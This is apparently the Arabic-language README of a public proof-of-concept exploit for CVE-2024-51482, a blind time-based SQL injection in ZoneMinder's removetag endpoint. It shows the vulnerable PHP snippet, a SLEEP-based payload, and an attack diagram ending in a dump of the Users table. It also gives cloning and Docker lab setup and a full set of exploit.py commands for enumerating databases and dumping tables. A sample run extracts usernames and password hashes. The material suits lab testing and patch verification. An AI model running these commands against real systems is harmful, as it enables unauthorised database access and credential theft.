SLEEP(x - IF(condition, 0, x))

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Attacker                              ZoneMinder Web App
   │                                         │
   │  [مصادقة]                               │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← جلسة موثقة
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               استعلام SQL منطقي تم تنفيذه
   │                               IF(condition, no delay, SLEEP)
   │◄────────────────────────────────────────│
   │  استجابة متأخرة (أوراكل التوقيت)        │  ← تم استنتاج الشرط
   │                                         │
   │  تكرار الطلبات                          │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  اختلافات التوقيت تكشف الأحرف           │
   │                                         │
   │  بحث ثنائي لكل حرف                      │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  بيانات مستخرجة (حرف واحد في كل مرة)   │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  الكشف الكامل عن قاعدة البيانات         │
   │                                         │
   ✓  تسريب كامل للبيانات عبر SQL أعمى

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # تكوين متغيرات البيئة
docker compose up -d

python exploit.py -t http://target/zm -u <username> -p <password>

python exploit.py -h

python exploit.py -t http://target/zm -u <username> -p <password> check

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

python exploit.py -t http://target/zm -u <username> -p <password> list-db

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>

python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2

--no-display

--outfile results.csv

python3 exploit.py \
  -t http://localhost:8080 \
  -u admin -p admin \
  dump-table \
  --db zm \
  --table Users \
  --columns Username,Password \
  --threads 6 \
  --delay 2 \
  --outfile dump.csv

cp .env.example .env  # تكوين متغيرات البيئة
docker compose up -d

$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
                                                                                                                                   
_________ ____   _______________       ________ _______   ________     _____         .________ ____    _____    ______  ________   
\_   ___ \\   \ /   /\_   _____/       \_____  \\   _  \  \_____  \   /  |  |        |   ____//_   |  /  |  |  /  __  \ \_____  \  
/    \  \/ \   Y   /  |    __)_  ______ /  ____//  /_\  \  /  ____/  /   |  |_ ______|____  \  |   | /   |  |_ >      <  /  ____/  
\     \____ \     /   |        \/_____//       \\  \_/   \/       \ /    ^   //_____//       \ |   |/    ^   //   --   \/       \  
 \______  /  \___/   /_______  /       \_______ \\_____  /\_______ \\____   |       /______  / |___|\____   | \______  /\_______ \ 
        \/                   \/                \/      \/         \/     |__|              \/            |__|        \/         \/ 
                                                                                                                                   

[∗] عنوان URL الهدف: http://localhost:8080/
[∗] الوحدة النمطية : dump-table
[∗] سيتم حفظ الإخراج إلى: ./out.csv

[∗] محاولة تسجيل الدخول باستخدام مصادقة اسم المستخدم/كلمة المرور
 🡲  بيانات الاعتماد: admin:admin
[+] تمت المصادقة بنجاح كمستخدم admin

[∗] اختبار قابلية الهدف للاستغلال...
[+] يبدو أن الهدف قابل للاستغلال (يشير وقت الاستجابة إلى حقن ناجح).

[∗] تفريغ محتويات جدول zm.Users...
[+] تم العثور على الأعمدة: Username, Password
[∗] استرداد عدد الصفوف في الجدول...
[+] يحتوي الجدول على صفين. بدء التفريغ...

[∗] التقدم: 5/5 | admin
[∗] التقدم: 60/60 | $2h$12$NHZs...
[+] تم استرداد الصف 1 : admin, $2h$12$NHZs...

[∗] التقدم: 4/4 | flag
[∗] التقدم: 60/60 | $2y$10$1Ei....
[+] تم استرداد الصف 2 : flag, $2y$10$1Ei....

+----------+----------------+
| Username | Password       |
+----------+----------------+
| admin    | $2h$12$NHZs... |
| flag     | $2y$10$1Ei.... |
+----------+----------------+

[+] تمت كتابة النتائج إلى ./out.csv
[+] العمل تم. وداعًا!